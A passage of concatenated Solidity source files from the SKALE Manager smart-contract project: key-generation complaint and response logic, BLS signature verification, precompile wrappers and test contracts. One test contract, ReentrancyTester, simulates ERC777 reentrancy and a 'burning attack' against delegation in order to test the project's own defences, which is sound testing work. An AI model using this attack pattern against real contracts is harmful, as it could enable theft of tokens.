function ecMul(
uint256 d,
uint256 x1,
uint256 y1,
uint256 z1
)
public
pure
returns (uint256 x3, uint256 y3, uint256 z3)
{
uint256 remaining = d;
uint256 px = x1;
uint256 py = y1;
uint256 pz = z1;
uint256 acx = 0;
uint256 acy = 0;
uint256 acz = 1;
if (d == 0) {
return (0, 0, 1);
}
while (remaining != 0) {
if ((remaining & 1) != 0) {
(acx, acy, acz) = ecAdd(
acx,
acy,
acz,
px,
py,
pz
);
}
remaining = remaining.div(2);
(px, py, pz) = ecDouble(px, py, pz);
}
(x3, y3, z3) = (acx, acy, acz);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Precompiled.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
library Precompiled {
function bigModExp(uint base, uint power, uint modulus) internal view returns (uint) {
uint[6] memory inputToBigModExp;
inputToBigModExp[0] = 32;
inputToBigModExp[1] = 32;
inputToBigModExp[2] = 32;
inputToBigModExp[3] = base;
inputToBigModExp[4] = power;
inputToBigModExp[5] = modulus;
uint[1] memory out;
bool success;
// solhint-disable-next-line no-inline-assembly
assembly {
success := staticcall(not(0), 5, inputToBigModExp, mul(6, 0x20), out, 0x20)
}
require(success, "BigModExp failed");
return out[0];
}
function bn256ScalarMul(uint x, uint y, uint k) internal view returns (uint , uint ) {
uint[3] memory inputToMul;
uint[2] memory output;
inputToMul[0] = x;
inputToMul[1] = y;
inputToMul[2] = k;
bool success;
// solhint-disable-next-line no-inline-assembly
assembly {
success := staticcall(not(0), 7, inputToMul, 0x60, output, 0x40)
}
require(success, "Multiplication failed");
return (output[0], output[1]);
}
function bn256Pairing(
uint x1,
uint y1,
uint a1,
uint b1,
uint c1,
uint d1,
uint x2,
uint y2,
uint a2,
uint b2,
uint c2,
uint d2)
internal view returns (bool)
{
bool success;
uint[12] memory inputToPairing;
inputToPairing[0] = x1;
inputToPairing[1] = y1;
inputToPairing[2] = a1;
inputToPairing[3] = b1;
inputToPairing[4] = c1;
inputToPairing[5] = d1;
inputToPairing[6] = x2;
inputToPairing[7] = y2;
inputToPairing[8] = a2;
inputToPairing[9] = b2;
inputToPairing[10] = c2;
inputToPairing[11] = d2;
uint[1] memory out;
// solhint-disable-next-line no-inline-assembly
assembly {
success := staticcall(not(0), 8, inputToPairing, mul(12, 0x20), out, 0x20)
}
require(success, "Pairing check failed");
return out[0] != 0;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleDkgBroadcast.sol - SKALE Manager
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaiev
@author Artem Payvin
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "../SkaleDKG.sol";
import "../KeyStorage.sol";
import "../utils/FieldOperations.sol";
/**
* @title SkaleDkgBroadcast
* @dev Contains functions to manage distributed key generation per
* Joint-Feldman protocol.
*/
library SkaleDkgBroadcast {
using SafeMath for uint;
/**
* @dev Emitted when a node broadcasts keyshare.
*/
event BroadcastAndKeyShare(
bytes32 indexed schainId,
uint indexed fromNode,
G2Operations.G2Point[] verificationVector,
SkaleDKG.KeyShare[] secretKeyContribution
);
/**
* @dev Broadcasts verification vector and secret key contribution to all
* other nodes in the group.
*
* Emits BroadcastAndKeyShare event.
*
* Requirements:
*
* - `msg.sender` must have an associated node.
* - `verificationVector` must be a certain length.
* - `secretKeyContribution` length must be equal to number of nodes in group.
*/
function broadcast(
bytes32 schainId,
uint nodeIndex,
G2Operations.G2Point[] memory verificationVector,
SkaleDKG.KeyShare[] memory secretKeyContribution,
ContractManager contractManager,
mapping(bytes32 => SkaleDKG.Channel) storage channels,
mapping(bytes32 => SkaleDKG.ProcessDKG) storage dkgProcess,
mapping(bytes32 => mapping(uint => bytes32)) storage hashedData
)
external
{
uint n = channels[schainId].n;
require(verificationVector.length == getT(n), "Incorrect number of verification vectors");
require(
secretKeyContribution.length == n,
"Incorrect number of secret key shares"
);
(uint index, ) = SkaleDKG(contractManager.getContract("SkaleDKG")).checkAndReturnIndexInGroup(
schainId, nodeIndex, true
);
require(!dkgProcess[schainId].broadcasted[index], "This node has already broadcasted");
dkgProcess[schainId].broadcasted[index] = true;
dkgProcess[schainId].numberOfBroadcasted++;
if (dkgProcess[schainId].numberOfBroadcasted == channels[schainId].n) {
SkaleDKG(contractManager.getContract("SkaleDKG")).setStartAlrightTimestamp(schainId);
}
hashedData[schainId][index] = SkaleDKG(contractManager.getContract("SkaleDKG")).hashData(
secretKeyContribution, verificationVector
);
KeyStorage(contractManager.getContract("KeyStorage")).adding(schainId, verificationVector[0]);
emit BroadcastAndKeyShare(
schainId,
nodeIndex,
verificationVector,
secretKeyContribution
);
}
function getT(uint n) public pure returns (uint) {
return n.mul(2).add(1).div(3);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleDkgComplaint.sol - SKALE Manager
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaiev
@author Artem Payvin
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "../SkaleDKG.sol";
import "../ConstantsHolder.sol";
import "../Wallets.sol";
import "../Nodes.sol";
/**
* @title SkaleDkgComplaint
* @dev Contains functions to manage distributed key generation per
* Joint-Feldman protocol.
*/
library SkaleDkgComplaint {
using SafeMath for uint;
/**
* @dev Emitted when an incorrect complaint is sent.
*/
event ComplaintError(string error);
/**
* @dev Emitted when a complaint is sent.
*/
event ComplaintSent(
bytes32 indexed schainId, uint indexed fromNodeIndex, uint indexed toNodeIndex);
/**
* @dev Creates a complaint from a node (accuser) to a given node.
* The accusing node must broadcast additional parameters within 1800 blocks.
*
* Emits {ComplaintSent} or {ComplaintError} event.
*
* Requirements:
*
* - `msg.sender` must have an associated node.
*/
function complaint(
bytes32 schainId,
uint fromNodeIndex,
uint toNodeIndex,
ContractManager contractManager,
mapping(bytes32 => SkaleDKG.Channel) storage channels,
mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints,
mapping(bytes32 => uint) storage startAlrightTimestamp
)
external
{
SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG"));
require(skaleDKG.isNodeBroadcasted(schainId, fromNodeIndex), "Node has not broadcasted");
if (skaleDKG.isNodeBroadcasted(schainId, toNodeIndex)) {
_handleComplaintWhenBroadcasted(
schainId,
fromNodeIndex,
toNodeIndex,
contractManager,
complaints,
startAlrightTimestamp
);
} else {
// not broadcasted in 30 min
_handleComplaintWhenNotBroadcasted(schainId, toNodeIndex, contractManager, channels);
}
skaleDKG.setBadNode(schainId, toNodeIndex);
}
function complaintBadData(
bytes32 schainId,
uint fromNodeIndex,
uint toNodeIndex,
ContractManager contractManager,
mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints
)
external
{
SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG"));
require(skaleDKG.isNodeBroadcasted(schainId, fromNodeIndex), "Node has not broadcasted");
require(skaleDKG.isNodeBroadcasted(schainId, toNodeIndex), "Accused node has not broadcasted");
require(!skaleDKG.isAllDataReceived(schainId, fromNodeIndex), "Node has already sent alright");
if (complaints[schainId].nodeToComplaint == uint(-1)) {
complaints[schainId].nodeToComplaint = toNodeIndex;
complaints[schainId].fromNodeToComplaint = fromNodeIndex;
complaints[schainId].startComplaintBlockTimestamp = block.timestamp;
emit ComplaintSent(schainId, fromNodeIndex, toNodeIndex);
} else {
emit ComplaintError("First complaint has already been processed");
}
}
function _handleComplaintWhenBroadcasted(
bytes32 schainId,
uint fromNodeIndex,
uint toNodeIndex,
ContractManager contractManager,
mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints,
mapping(bytes32 => uint) storage startAlrightTimestamp
)
private
{
SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG"));
// missing alright
if (complaints[schainId].nodeToComplaint == uint(-1)) {
if (
skaleDKG.isEveryoneBroadcasted(schainId) &&
!skaleDKG.isAllDataReceived(schainId, toNodeIndex) &&
startAlrightTimestamp[schainId].add(_getComplaintTimelimit(contractManager)) <= block.timestamp
) {
// missing alright
skaleDKG.finalizeSlashing(schainId, toNodeIndex);
return;
} else if (!skaleDKG.isAllDataReceived(schainId, fromNodeIndex)) {
// incorrect data
skaleDKG.finalizeSlashing(schainId, fromNodeIndex);
return;
}
emit ComplaintError("Has already sent alright");
return;
} else if (complaints[schainId].nodeToComplaint == toNodeIndex) {
// 30 min after incorrect data complaint
if (complaints[schainId].startComplaintBlockTimestamp.add(
_getComplaintTimelimit(contractManager)
) <= block.timestamp) {
skaleDKG.finalizeSlashing(schainId, complaints[schainId].nodeToComplaint);
return;
}
emit ComplaintError("The same complaint rejected");
return;
}
emit ComplaintError("One complaint is already sent");
}
function _handleComplaintWhenNotBroadcasted(
bytes32 schainId,
uint toNodeIndex,
ContractManager contractManager,
mapping(bytes32 => SkaleDKG.Channel) storage channels
)
private
{
if (channels[schainId].startedBlockTimestamp.add(_getComplaintTimelimit(contractManager)) <= block.timestamp) {
SkaleDKG(contractManager.getContract("SkaleDKG")).finalizeSlashing(schainId, toNodeIndex);
return;
}
emit ComplaintError("Complaint sent too early");
}
function _getComplaintTimelimit(ContractManager contractManager) private view returns (uint) {
return ConstantsHolder(contractManager.getConstantsHolder()).complaintTimelimit();
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleDkgPreResponse.sol - SKALE Manager
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaiev
@author Artem Payvin
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "../SkaleDKG.sol";
import "../Wallets.sol";
import "../utils/FieldOperations.sol";
/**
* @title SkaleDkgPreResponse
* @dev Contains functions to manage distributed key generation per
* Joint-Feldman protocol.
*/
library SkaleDkgPreResponse {
using SafeMath for uint;
using G2Operations for G2Operations.G2Point;
function preResponse(
bytes32 schainId,
uint fromNodeIndex,
G2Operations.G2Point[] memory verificationVector,
G2Operations.G2Point[] memory verificationVectorMult,
SkaleDKG.KeyShare[] memory secretKeyContribution,
ContractManager contractManager,
mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints,
mapping(bytes32 => mapping(uint => bytes32)) storage hashedData
)
external
{
SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG"));
uint index = _preResponseCheck(
schainId,
fromNodeIndex,
verificationVector,
verificationVectorMult,
secretKeyContribution,
skaleDKG,
complaints,
hashedData
);
_processPreResponse(secretKeyContribution[index].share, schainId, verificationVectorMult, complaints);
}
function _preResponseCheck(
bytes32 schainId,
uint fromNodeIndex,
G2Operations.G2Point[] memory verificationVector,
G2Operations.G2Point[] memory verificationVectorMult,
SkaleDKG.KeyShare[] memory secretKeyContribution,
SkaleDKG skaleDKG,
mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints,
mapping(bytes32 => mapping(uint => bytes32)) storage hashedData
)
private
view
returns (uint index)
{
(uint indexOnSchain, ) = skaleDKG.checkAndReturnIndexInGroup(schainId, fromNodeIndex, true);
require(complaints[schainId].nodeToComplaint == fromNodeIndex, "Not this Node");
require(!complaints[schainId].isResponse, "Already submitted pre response data");
require(
hashedData[schainId][indexOnSchain] == skaleDKG.hashData(secretKeyContribution, verificationVector),
"Broadcasted Data is not correct"
);
require(
verificationVector.length == verificationVectorMult.length,
"Incorrect length of multiplied verification vector"
);
(index, ) = skaleDKG.checkAndReturnIndexInGroup(schainId, complaints[schainId].fromNodeToComplaint, true);
require(
_checkCorrectVectorMultiplication(index, verificationVector, verificationVectorMult),
"Multiplied verification vector is incorrect"
);
}
function _processPreResponse(
bytes32 share,
bytes32 schainId,
G2Operations.G2Point[] memory verificationVectorMult,
mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints
)
private
{
complaints[schainId].keyShare = share;
complaints[schainId].sumOfVerVec = _calculateSum(verificationVectorMult);
complaints[schainId].isResponse = true;
}
function _calculateSum(G2Operations.G2Point[] memory verificationVectorMult)
private
view
returns (G2Operations.G2Point memory)
{
G2Operations.G2Point memory value = G2Operations.getG2Zero();
for (uint i = 0; i < verificationVectorMult.length; i++) {
value = value.addG2(verificationVectorMult[i]);
}
return value;
}
function _checkCorrectVectorMultiplication(
uint indexOnSchain,
G2Operations.G2Point[] memory verificationVector,
G2Operations.G2Point[] memory verificationVectorMult
)
private
view
returns (bool)
{
Fp2Operations.Fp2Point memory value = G1Operations.getG1Generator();
Fp2Operations.Fp2Point memory tmp = G1Operations.getG1Generator();
for (uint i = 0; i < verificationVector.length; i++) {
(tmp.a, tmp.b) = Precompiled.bn256ScalarMul(value.a, value.b, indexOnSchain.add(1) ** i);
if (!_checkPairing(tmp, verificationVector[i], verificationVectorMult[i])) {
return false;
}
}
return true;
}
function _checkPairing(
Fp2Operations.Fp2Point memory g1Mul,
G2Operations.G2Point memory verificationVector,
G2Operations.G2Point memory verificationVectorMult
)
private
view
returns (bool)
{
require(G1Operations.checkRange(g1Mul), "g1Mul is not valid");
g1Mul.b = G1Operations.negate(g1Mul.b);
Fp2Operations.Fp2Point memory one = G1Operations.getG1Generator();
return Precompiled.bn256Pairing(
one.a, one.b,
verificationVectorMult.x.b, verificationVectorMult.x.a,
verificationVectorMult.y.b, verificationVectorMult.y.a,
g1Mul.a, g1Mul.b,
verificationVector.x.b, verificationVector.x.a,
verificationVector.y.b, verificationVector.y.a
);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleDkgResponse.sol - SKALE Manager
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaiev
@author Artem Payvin
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "../SkaleDKG.sol";
import "../Wallets.sol";
import "../Decryption.sol";
import "../Nodes.sol";
import "../thirdparty/ECDH.sol";
import "../utils/FieldOperations.sol";
/**
* @title SkaleDkgResponse
* @dev Contains functions to manage distributed key generation per
* Joint-Feldman protocol.
*/
library SkaleDkgResponse {
using G2Operations for G2Operations.G2Point;
function response(
bytes32 schainId,
uint fromNodeIndex,
uint secretNumber,
G2Operations.G2Point memory multipliedShare,
ContractManager contractManager,
mapping(bytes32 => SkaleDKG.Channel) storage channels,
mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints
)
external
{
uint index = SchainsInternal(contractManager.getContract("SchainsInternal"))
.getNodeIndexInGroup(schainId, fromNodeIndex);
require(index < channels[schainId].n, "Node is not in this group");
require(complaints[schainId].nodeToComplaint == fromNodeIndex, "Not this Node");
require(complaints[schainId].isResponse, "Have not submitted pre-response data");
uint badNode = _verifyDataAndSlash(
schainId,
secretNumber,
multipliedShare,
contractManager,
complaints
);
SkaleDKG(contractManager.getContract("SkaleDKG")).setBadNode(schainId, badNode);
}
function _verifyDataAndSlash(
bytes32 schainId,
uint secretNumber,
G2Operations.G2Point memory multipliedShare,
ContractManager contractManager,
mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints
)
private
returns (uint badNode)
{
bytes32[2] memory publicKey = Nodes(contractManager.getContract("Nodes")).getNodePublicKey(
complaints[schainId].fromNodeToComplaint
);
uint256 pkX = uint(publicKey[0]);
(pkX, ) = ECDH(contractManager.getContract("ECDH")).deriveKey(secretNumber, pkX, uint(publicKey[1]));
bytes32 key = bytes32(pkX);
// Decrypt secret key contribution
uint secret = Decryption(contractManager.getContract("Decryption")).decrypt(
complaints[schainId].keyShare,
sha256(abi.encodePacked(key))
);
badNode = (
_checkCorrectMultipliedShare(multipliedShare, secret) &&
multipliedShare.isEqual(complaints[schainId].sumOfVerVec) ?
complaints[schainId].fromNodeToComplaint :
complaints[schainId].nodeToComplaint
);
SkaleDKG(contractManager.getContract("SkaleDKG")).finalizeSlashing(schainId, badNode);
}
function _checkCorrectMultipliedShare(
G2Operations.G2Point memory multipliedShare,
uint secret
)
private
view
returns (bool)
{
if (!multipliedShare.isG2()) {
return false;
}
G2Operations.G2Point memory tmp = multipliedShare;
Fp2Operations.Fp2Point memory g1 = G1Operations.getG1Generator();
Fp2Operations.Fp2Point memory share = Fp2Operations.Fp2Point({
a: 0,
b: 0
});
(share.a, share.b) = Precompiled.bn256ScalarMul(g1.a, g1.b, secret);
require(G1Operations.checkRange(share), "share is not valid");
share.b = G1Operations.negate(share.b);
require(G1Operations.isG1(share), "mulShare not in G1");
G2Operations.G2Point memory g2 = G2Operations.getG2Generator();
return Precompiled.bn256Pairing(
share.a, share.b,
g2.x.b, g2.x.a, g2.y.b, g2.y.a,
g1.a, g1.b,
tmp.x.b, tmp.x.a, tmp.y.b, tmp.y.a);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleVerifier.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "./Permissions.sol";
import "./SchainsInternal.sol";
import "./utils/Precompiled.sol";
import "./utils/FieldOperations.sol";
/**
* @title SkaleVerifier
* @dev Contains verify function to perform BLS signature verification.
*/
contract SkaleVerifier is Permissions {
using Fp2Operations for Fp2Operations.Fp2Point;
/**
* @dev Verifies a BLS signature.
*
* Requirements:
*
* - Signature is in G1.
* - Hash is in G1.
* - G2.one in G2.
* - Public Key in G2.
*/
function verify(
Fp2Operations.Fp2Point calldata signature,
bytes32 hash,
uint counter,
uint hashA,
uint hashB,
G2Operations.G2Point calldata publicKey
)
external
view
returns (bool)
{
require(G1Operations.checkRange(signature), "Signature is not valid");
if (!_checkHashToGroupWithHelper(
hash,
counter,
hashA,
hashB
)
)
{
return false;
}
uint newSignB = G1Operations.negate(signature.b);
require(G1Operations.isG1Point(signature.a, newSignB), "Sign not in G1");
require(G1Operations.isG1Point(hashA, hashB), "Hash not in G1");
G2Operations.G2Point memory g2 = G2Operations.getG2Generator();
require(
G2Operations.isG2(publicKey),
"Public Key not in G2"
);
return Precompiled.bn256Pairing(
signature.a, newSignB,
g2.x.b, g2.x.a, g2.y.b, g2.y.a,
hashA, hashB,
publicKey.x.b, publicKey.x.a, publicKey.y.b, publicKey.y.a
);
}
function initialize(address newContractsAddress) public override initializer {
Permissions.initialize(newContractsAddress);
}
function _checkHashToGroupWithHelper(
bytes32 hash,
uint counter,
uint hashA,
uint hashB
)
private
pure
returns (bool)
{
if (counter > 100) {
return false;
}
uint xCoord = uint(hash) % Fp2Operations.P;
xCoord = (xCoord.add(counter)) % Fp2Operations.P;
uint ySquared = addmod(
mulmod(mulmod(xCoord, xCoord, Fp2Operations.P), xCoord, Fp2Operations.P),
3,
Fp2Operations.P
);
if (hashB < Fp2Operations.P.div(2) || mulmod(hashB, hashB, Fp2Operations.P) != ySquared || xCoord != hashA) {
return false;
}
return true;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Decryption.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
/**
* @title Decryption
* @dev This contract performs encryption and decryption functions.
* Decrypt is used by SkaleDKG contract to decrypt secret key contribution to
* validate complaints during the DKG procedure.
*/
contract Decryption {
/**
* @dev Returns an encrypted text given a secret and a key.
*/
function encrypt(uint256 secretNumber, bytes32 key) external pure returns (bytes32 ciphertext) {
return bytes32(secretNumber) ^ key;
}
/**
* @dev Returns a secret given an encrypted text and a key.
*/
function decrypt(bytes32 ciphertext, bytes32 key) external pure returns (uint256 secretNumber) {
return uint256(ciphertext ^ key);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
PartialDifferencesTester.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "../delegation/PartialDifferences.sol";
contract PartialDifferencesTester {
using PartialDifferences for PartialDifferences.Sequence;
using PartialDifferences for PartialDifferences.Value;
using SafeMath for uint;
PartialDifferences.Sequence[] private _sequences;
// PartialDifferences.Value[] private _values;
function createSequence() external {
_sequences.push(PartialDifferences.Sequence({firstUnprocessedMonth: 0, lastChangedMonth: 0}));
}
function addToSequence(uint sequence, uint diff, uint month) external {
require(sequence < _sequences.length, "Sequence does not exist");
_sequences[sequence].addToSequence(diff, month);
}
function subtractFromSequence(uint sequence, uint diff, uint month) external {
require(sequence < _sequences.length, "Sequence does not exist");
_sequences[sequence].subtractFromSequence(diff, month);
}
function getAndUpdateSequenceItem(uint sequence, uint month) external returns (uint) {
require(sequence < _sequences.length, "Sequence does not exist");
return _sequences[sequence].getAndUpdateValueInSequence(month);
}
function reduceSequence(
uint sequence,
uint a,
uint b,
uint month) external
{
require(sequence < _sequences.length, "Sequence does not exist");
FractionUtils.Fraction memory reducingCoefficient = FractionUtils.createFraction(a, b);
return _sequences[sequence].reduceSequence(reducingCoefficient, month);
}
function latestSequence() external view returns (uint id) {
require(_sequences.length > 0, "There are no _sequences");
return _sequences.length.sub(1);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ReentrancyTester.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol";
import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol";
import "../Permissions.sol";
import "../delegation/DelegationController.sol";
contract ReentrancyTester is Permissions, IERC777Recipient, IERC777Sender {
IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
bool private _reentrancyCheck = false;
bool private _burningAttack = false;
uint private _amount = 0;
constructor (address contractManagerAddress) public {
Permissions.initialize(contractManagerAddress);
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensSender"), address(this));
}
function tokensReceived(
address /* operator */,
address /* from */,
address /* to */,
uint256 amount,
bytes calldata /* userData */,
bytes calldata /* operatorData */
)
external override
{
if (_reentrancyCheck) {
IERC20 skaleToken = IERC20(contractManager.getContract("SkaleToken"));
require(
skaleToken.transfer(contractManager.getContract("SkaleToken"), amount),
"Transfer is not successful");
}
}
function tokensToSend(
address, // operator
address, // from
address, // to
uint256, // amount
bytes calldata, // userData
bytes calldata // operatorData
) external override
{
if (_burningAttack) {
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController"));
delegationController.delegate(
1,
_amount,
2,
"D2 is even");
}
}
function prepareToReentracyCheck() external {
_reentrancyCheck = true;
}
function prepareToBurningAttack() external {
_burningAttack = true;
}
function burningAttack() external {
IERC777 skaleToken = IERC777(contractManager.getContract("SkaleToken"));
_amount = skaleToken.balanceOf(address(this));
skaleToken.burn(_amount, "");
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleManager.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol";
import "./delegation/Distributor.sol";
import "./delegation/ValidatorService.sol";
import "./interfaces/IMintableToken.sol";
import "./BountyV2.sol";
import "./ConstantsHolder.sol";
import "./NodeRotation.sol";
import "./Permissions.sol";
import "./Schains.sol";
import "./Wallets.sol";
/**
* @title SkaleManager
* @dev Contract contains functions for node registration and exit, bounty
* management, and monitoring verdicts.
*/
contract SkaleManager is IERC777Recipient, Permissions {
IERC1820Registry private _erc1820;
bytes32 constant private _TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
bytes32 constant public ADMIN_ROLE = keccak256("ADMIN_ROLE");
string public version;
/**
* @dev Emitted when bounty is received.
*/
event BountyReceived(
uint indexed nodeIndex,
address owner,
uint averageDowntime,
uint averageLatency,
uint bounty,
uint previousBlockEvent,
uint time,
uint gasSpend
);
function tokensReceived(
address, // operator
address from,
address to,
uint256 value,
bytes calldata userData,
bytes calldata // operator data
)
external override
allow("SkaleToken")
{
require(to == address(this), "Receiver is incorrect");
if (userData.length > 0) {
Schains schains = Schains(
contractManager.getContract("Schains"));
schains.addSchain(from, value, userData);
}
}
function createNode(
uint16 port,
uint16 nonce,
bytes4 ip,
bytes4 publicIp,
bytes32[2] calldata publicKey,
string calldata name,
string calldata domainName
)
external
{
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
// validators checks inside checkPossibilityCreatingNode
nodes.checkPossibilityCreatingNode(msg.sender);
Nodes.NodeCreationParams memory params = Nodes.NodeCreationParams({
name: name,
ip: ip,
publicIp: publicIp,
port: port,
